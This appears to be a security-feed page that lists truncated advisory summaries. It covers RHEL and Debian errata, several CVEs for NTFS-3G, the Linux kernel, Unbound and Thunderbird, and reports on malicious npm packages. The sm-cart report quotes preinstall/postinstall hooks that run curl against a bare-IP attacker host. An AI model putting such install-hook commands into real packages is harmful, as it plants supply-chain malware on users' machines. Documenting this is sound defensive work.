RHEL 10 : firefox (RHSA-2026:58899)

The remote Redhat Enterprise Linux 10 host has a package installed that is affected by multiple vulnerabilities as referenced in the RHSA-2026:58899 advisory. Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. Security Fixes: firefox:...

Important: python-urwid security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems. Security Fixes:...

CVE-2026-56136

In NTFS-3G through 2026.2.25, an out-of-bounds read exists in ntfsirnill in libntfs-3g/index.c that allows an attacker to read possibly confidential information in an ntfs-3g process by crafting a malicious NTFS image. This read operation is triggered by creation of a file with a crafted name...

PT-2026-80902

The UMP Stream responder library in lib/midi2/ump stream responder.c builds reply packets in a 16-byte struct midi ump uint32 t data4. The builders make endpoint info and make function block info populate only the first two words res.data0 and res.data1 and, before this fix, declared their result...

The vulnerability of the send_msg_no_fragmentation() function in the drivers/net/netconsole.c module of the Linux kernel network device driver allows a attacker to gain access to protected information or cause service failure.

The vulnerability of the sendmsgnofragmentation function in the drivers/net/netconsole.c module of the Linux kernel network device driver is related to reading beyond the buffer boundaries. Exploiting this vulnerability can allow an attacker to gain access to protected information or cause servic...

Vulnerabilities of the functions tcp_inbound_md5_hash(), tcp_v4_send_reset(), and tcp_v6_send_reset() in the Linux operating system, allowing attackers to compromise the confidentiality, integrity, and accessibility of protected information

The vulnerabilities of the functions tcpinboundmd5hash, tcpv4sendreset, and tcpv6sendreset in the Linux operating system are related to the disclosure of information due to the observed difference in execution time. Exploiting these vulnerabilities can allow a remote attacker to compromise the...

The vulnerability of the Unbound DNS server, related to deficiencies in the data source verification mechanism, allows attackers to gain unauthorized access to protected information.

The vulnerability of the Unbound DNS server is related to deficiencies in the mechanism for verifying data sources. Exploiting this vulnerability could allow a malicious actor, operating remotely, to gain unauthorized access to protected information...

RHEL 9 : assertj-core (RHSA-2026:58956)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58956 advisory. A rich and intuitive set of strongly-typed assertions to use for unit testing either with JUnit or TestNG. Security Fixes: assertj: AssertJ:...

The vulnerability of the Thunderbird email client, related to the false representation of critical information on the user interface, allows a hacker to compromise data integrity.

The vulnerability of the Thunderbird email client is related to the false representation of critical information to the user interface. Exploiting this vulnerability can allow an attacker, operating remotely, to compromise data integrity...

RHEL 8 : firefox (RHSA-2026:58898)

The remote Redhat Enterprise Linux 8 host has a package installed that is affected by multiple vulnerabilities as referenced in the RHSA-2026:58898 advisory. Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. Security Fixes: firefox:...

RHEL 9 : python-urwid (RHSA-2026:58952)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58952 advisory. Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic da...

RHEL 9 : assertj-core (RHSA-2026:58949)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58949 advisory. A rich and intuitive set of strongly-typed assertions to use for unit testing either with JUnit or TestNG. Security Fixes: assertj: AssertJ:...

Important: python-urwid security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems. Security Fixes:...

CVE-2026-56136

In NTFS-3G through 2026.2.25, an out-of-bounds read exists in ntfsirnill in libntfs-3g/index.c that allows an attacker to read possibly confidential information in an ntfs-3g process by crafting a malicious NTFS image. This read operation is triggered by creation of a file with a crafted name...

CVE-2026-17101

creationtimestamp| type| source ---|---|--- 2026-08-23 20:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mtrloyqhvb2x...

Malicious code in sm-checkout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...

MAL-2026-14396 Malicious code in sm-cart (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...

[SECURITY] [DSA 6461-1] thunderbird security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6461-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff August 23, 2026 https://www.debian.org/security/faq -...

[SECURITY] [DSA 6460-1] openjdk-25 security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6460-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff August 23, 2026 https://www.debian.org/security/faq -...

CVE-2026-5388

creationtimestamp| type| source ---|---|--- 2026-08-23 14:30:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mtqyucsev325 2026-08-23 15:01:28+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mtr2mhxlsl27 2026-08-23 15:32:16+00:00| seen|...